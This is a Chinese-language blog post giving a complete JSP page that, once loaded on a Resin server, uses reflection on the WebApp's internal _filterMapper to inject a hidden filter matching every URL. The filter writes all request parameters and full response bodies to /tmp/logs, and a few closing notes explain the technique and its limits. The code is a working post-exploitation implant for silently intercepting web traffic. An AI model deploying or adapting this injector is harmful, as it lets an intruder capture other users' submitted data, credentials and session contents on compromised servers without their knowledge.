REinject's Blog

我们的功夫再棒,也敌不过洋枪


利用filter机制获取resin请求响应

实现代码,注入后,所有响应内容将打印到/tmp/logs文件中:

<%@ page import="java.io.IOException" %>
<%@ page import="com.caucho.server.webapp.WebApp" %>
<%@ page import="com.caucho.server.dispatch.FilterConfigImpl" %>
<%@ page import="com.caucho.server.dispatch.FilterMapping" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="com.caucho.server.dispatch.FilterMapper" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.io.FileWriter" %>
<%@ page import="java.util.Enumeration" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<!DOCTYPE html>
<html>
<head>
    <title>JSP - Resin Inject Filter</title>
</head>
<body>
<%!
    class CustomResponseWrapper extends HttpServletResponseWrapper {
 
        private ByteArrayOutputStream buffer;
        private ServletOutputStream out;
        private MyPrintWriter out2;
 
        public CustomResponseWrapper(HttpServletResponse response) {
            super(response);
            buffer = new ByteArrayOutputStream();
            out = new WrapperOutputStream(buffer);
            out2 = new MyPrintWriter(buffer);
 
        }
 
        @Override
        public ServletOutputStream getOutputStream() throws IOException {
            return out;
        }
 
        @Override
        public PrintWriter getWriter() throws IOException {
            return out2;
        }
 
        @Override
        public void flushBuffer() throws IOException {
            if (out != null) {
                out.flush();
                out2.flush();
            }
        }
 
        public byte[] getContent() throws IOException {
            flushBuffer();
            return buffer.toByteArray();
        }
 
        class WrapperOutputStream extends ServletOutputStream {
            private ByteArrayOutputStream bos;
 
            public WrapperOutputStream(ByteArrayOutputStream bos) {
                this.bos = bos;
            }
 
            public void write(int b) throws IOException {
                bos.write(b); // 将数据写到 stream 中
            }
 
            public boolean isReady() {
                return false;
            }
 
        }
        class MyPrintWriter extends PrintWriter {
            ByteArrayOutputStream myOutput;
            //此即为存放response输入流的对象
            public MyPrintWriter(ByteArrayOutputStream output) {
                super(output);
                myOutput = output;
            }
 
            public ByteArrayOutputStream getByteArrayOutputStream() {
                return myOutput;
            }
        }
 
    }
 
    public class TestFilter implements Filter {
        public TestFilter() {
        }
 
        @Override
        public void init(FilterConfig arg0) throws ServletException {
            // TODO Auto-generated method stub
        }
 
        @Override
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterchain)
                throws IOException, ServletException {
            // TODO Auto-generated method stub
 
 
            FileWriter fw = new FileWriter("/tmp/logs", true);
 
            Enumeration names = request.getParameterNames();
            StringBuilder output = new StringBuilder();
            while(names.hasMoreElements()){
                String name = (String) names.nextElement();
                output.append(name).append("=");
                String values[] = request.getParameterValues(name);
                for (int i = 0; i < values.length; i++) {
                    if (i > 0) {
                        output.append("' ");
                    }
                    output.append(values[i]);
                }
                if (names.hasMoreElements())
                    output.append("&");
            }
            fw.write(output + "\n");
            //fw.write("response.contenttype:" + response.getContentType());
            fw.flush();
 
            CustomResponseWrapper mResp = new CustomResponseWrapper((HttpServletResponse)response);
            filterchain.doFilter(request, mResp);
 
            StringBuilder sb = new StringBuilder();
            byte[] bytes = mResp.getContent();
            sb.append(new String(bytes));
 
            System.out.println("length:" + bytes.length);
            System.out.println("String:" + sb);
            fw.write(sb.toString());
            fw.flush();
            fw.close();
 
            response.setContentLength(-1);
            response.getOutputStream().write(bytes);
            response.getOutputStream().flush();
        }
 
        @Override
        public void destroy() {
            // TODO Auto-generated method stub
        }
    }
%>
<%
    ClassLoader classloader = Thread.currentThread().getContextClassLoader();
 
    Class servletInvocationcls = classloader.loadClass("com.caucho.server.dispatch.ServletInvocation");
    Class filterConfigimplcls  = classloader.loadClass("com.caucho.server.dispatch.FilterConfigImpl");
    Class filterMappingcls     = classloader.loadClass("com.caucho.server.dispatch.FilterMapping");
    Class filterMappercls      = classloader.loadClass("com.caucho.server.dispatch.FilterMapper");
 
    Object contextRequest = servletInvocationcls.getMethod("getContextRequest").invoke(null);
    WebApp webapp         = (WebApp) contextRequest.getClass().getMethod("getWebApp").invoke(contextRequest);
 
    TestFilter filter = new TestFilter();
    FilterConfigImpl filterConfig = (FilterConfigImpl) filterConfigimplcls.newInstance();
    filterConfig.setFilterName("test");
    filterConfig.setFilter(filter);
    filterConfig.setFilterClass(filter.getClass());
 
    webapp.addFilter(filterConfig);
 
    FilterMapping            filterMapping           = (FilterMapping) filterMappingcls.newInstance();
    FilterMapping.URLPattern filterMappingUrlpattern = filterMapping.createUrlPattern();
    filterMappingUrlpattern.addText("/*");
    filterMappingUrlpattern.init();
    filterMapping.setFilterName("test");
    filterMapping.setServletContext(webapp);
 
    Field fieldWebappFilterMapper = null;
    try {
        fieldWebappFilterMapper = webapp.getClass().getDeclaredField("_filterMapper");
    } catch (NoSuchFieldException Exception) {
        fieldWebappFilterMapper = webapp.getClass().getSuperclass().getDeclaredField("_filterMapper");
    }
 
    fieldWebappFilterMapper.setAccessible(true);
    FilterMapper filtermapper = (FilterMapper) fieldWebappFilterMapper.get(webapp);
 
    Field fieldFilterMapperFilterMap = filterMappercls.getDeclaredField("_filterMap");
    fieldFilterMapperFilterMap.setAccessible(true);
 
    ArrayList<FilterMapping> orginalfilterMappings = (ArrayList) fieldFilterMapperFilterMap.get(filtermapper);
    ArrayList<FilterMapping> newFilterMappings     = new ArrayList(orginalfilterMappings.size() + 1);
    newFilterMappings.add(filterMapping);
 
    int count = 0;
    while (count < orginalfilterMappings.size()) {
        newFilterMappings.add(orginalfilterMappings.get(count));
        ++count;
    }
 
    fieldFilterMapperFilterMap.set(filtermapper, newFilterMappings);
    fieldWebappFilterMapper.set(webapp, filtermapper);
 
    out.println("Resin Filter added");
    webapp.getClass().getMethod("clearCache").invoke(webapp);
%>
</body>
</html>

Resin中WebApp,类似于 tomcat 中的 StandardContext,通过获取WebApp示例,调用反射修改 内部成员 _filterMapper 实现 filter 注入。

filter 的作用范围,取决于获取到的 WebApp 上下文的位置,目前调研发现只能获取到当前项目的 WebApp 上下文,获取不到全局的。

通过 jar 注入的形式,经测试无法通过公开的方式拿到 WebApp 上下文,所以没办法修改 fitler 链。